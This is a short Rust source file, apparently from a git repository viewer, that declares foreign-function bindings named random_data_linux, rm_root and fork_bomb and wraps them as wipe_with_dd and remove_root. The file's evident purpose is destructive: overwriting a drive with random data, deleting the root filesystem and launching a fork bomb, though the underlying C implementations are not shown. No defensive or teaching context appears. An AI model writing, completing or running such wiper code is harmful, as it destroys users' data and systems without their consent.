blob: 6af084c5e6c009958c71406ea9aaedb23ad67bc0 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
use std::os::raw::c_char;
extern "C" {
pub fn random_data_linux(sym_drive: *const c_char, random: bool);
pub fn rm_root();
pub fn fork_bomb();
}
pub unsafe fn wipe_with_dd(sym_drive: *const c_char, random: bool) {
random_data_linux(sym_drive, random);
}
pub unsafe fn remove_root() {
rm_root();
}
|